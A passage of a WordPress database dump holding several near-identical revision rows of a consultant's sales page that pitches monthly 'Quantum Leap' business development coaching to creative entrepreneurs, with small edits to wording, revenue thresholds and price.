(1947, 2, '2012-02-29 12:12:17', '2012-02-29 19:12:17', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong>\r\n\r\n<strong>My clients include entrepreneurs from creative industries like </strong><strong></strong><strong>design, music, publishing, architecture, film and video, crafts, visual arts, fashion, TV and radio, advertising, literature, computer games and the performing arts. All these industries share creativity as the heart and soul of the business enterprise. </strong>\r\n\r\n<strong>I offer consulting in professional development, marketing and business development to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, as principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have developed millions of dollars of revenue from clients in my own creative business. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the challenges and struggles with business development, managing client expectations, managing staff and colloborators that face all creative entrepreneurs along the way to building a profitable creative business.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nI work with forward thinking, early-stage creative entrepreneurs and solo creative professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you to focus on your best opportunities, leverage your personal effectiveness, gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2012-02-29 12:12:17', '2012-02-29 19:12:17', '', 138, 'http://www.whitehotcenter.com/2012/02/138-revision-166/', 0, 'revision', '', 0),
(1946, 2, '2012-02-29 12:00:24', '2012-02-29 19:00:24', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong>\r\n\r\n<strong>My clients include entrepreneurs from creative industries like </strong><strong></strong><strong>design, music, publishing, architecture, film and video, crafts, visual arts, fashion, TV and radio, advertising, literature, computer games and the performing arts. All these industries share creativity as the heart and soul of the business enterprise. </strong>\r\n\r\n<strong>I offer consulting in professional development, marketing and business development to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, I have advised senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. My expertise in business development, customer insight, creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe.\r\n\r\nAs principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have been a successful creative entrepreneur for over three decades. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the work that matters to you and creates sustained financial success.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nI work with forward thinking, early-stage creative entrepreneurs and solo creative professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you to focus on your best opportunities, leverage your personal effectiveness, gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2012-02-29 12:00:24', '2012-02-29 19:00:24', '', 138, 'http://www.whitehotcenter.com/2012/02/138-revision-165/', 0, 'revision', '', 0),
(1949, 2, '2012-02-29 12:16:41', '2012-02-29 19:16:41', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong>\r\n\r\n<strong>My clients include entrepreneurs from creative industries like </strong><strong></strong><strong>design, music, publishing, architecture, film and video, crafts, visual arts, fashion, TV and radio, advertising, literature, computer games and the performing arts. All these industries share creativity as the heart and soul of the business enterprise. </strong>\r\n\r\n<strong>I offer consulting in professional development, marketing and business development to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, as principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have developed millions of dollars of revenue from clients in my own creative business. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the challenges and struggles with business development, managing client expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a profitable creative business.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nI work with forward thinking, early-stage creative entrepreneurs and solo creative professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you to focus on your best opportunities, leverage your personal effectiveness, gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2012-02-29 12:16:41', '2012-02-29 19:16:41', '', 138, 'http://www.whitehotcenter.com/2012/02/138-revision-168/', 0, 'revision', '', 0),
(1953, 2, '2012-02-29 12:48:09', '2012-02-29 19:48:09', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients include entrepreneurs from creative disciplines like </strong><strong></strong><strong>design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, computer games, and music production. All these disciplines share creativity as the heart and soul of the business enterprise. </strong>\r\n\r\n<strong>I offer consulting in professional development, marketing and business development to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, as principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have developed millions of dollars of revenue from clients in my own creative business. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the challenges and struggles with business development, managing client expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a profitable creative business.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of  forward thinking, early-stage creative entrepreneurs and solo creative professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\nThis consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2012-02-29 12:48:09', '2012-02-29 19:48:09', '', 138, 'http://www.whitehotcenter.com/2012/02/138-revision-172/', 0, 'revision', '', 0),
(1950, 2, '2012-02-29 12:29:28', '2012-02-29 19:29:28', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong>\r\n\r\n<strong>My clients include entrepreneurs from creative industries like </strong><strong></strong><strong>design, music, publishing, architecture, film and video, crafts, visual arts, fashion, TV and radio, advertising, literature, computer games and the performing arts. All these industries share creativity as the heart and soul of the business enterprise. </strong>\r\n\r\n<strong>I offer consulting in professional development, marketing and business development to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, as principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have developed millions of dollars of revenue from clients in my own creative business. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the challenges and struggles with business development, managing client expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a profitable creative business.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of  forward thinking, early-stage creative entrepreneurs and solo creative professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\nThis consulting program is designed to help those entrepreneurs who are currently generating $250,000 in annual gross revenue.\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2012-02-29 12:29:28', '2012-02-29 19:29:28', '', 138, 'http://www.whitehotcenter.com/2012/02/138-revision-169/', 0, 'revision', '', 0);
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(1952, 2, '2012-02-29 12:44:07', '2012-02-29 19:44:07', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong>\r\n\r\n<strong>My clients include entrepreneurs from creative disciplines like </strong><strong></strong><strong>design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, computer games, and music production. All these disciplines share creativity as the heart and soul of the business enterprise. </strong>\r\n\r\n<strong>I offer consulting in professional development, marketing and business development to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, as principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have developed millions of dollars of revenue from clients in my own creative business. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the challenges and struggles with business development, managing client expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a profitable creative business.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of  forward thinking, early-stage creative entrepreneurs and solo creative professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\nThis consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2012-02-29 12:44:07', '2012-02-29 19:44:07', '', 138, 'http://www.whitehotcenter.com/2012/02/138-revision-171/', 0, 'revision', '', 0),
(1951, 2, '2012-02-29 12:34:08', '2012-02-29 19:34:08', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong>\r\n\r\n<strong>My clients include entrepreneurs from creative industries like </strong><strong></strong><strong>design, music, publishing, architecture, film and video, crafts, visual arts, fashion, TV and radio, advertising, literature, computer games and the performing arts. All these industries share creativity as the heart and soul of the business enterprise. </strong>\r\n\r\n<strong>I offer consulting in professional development, marketing and business development to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush 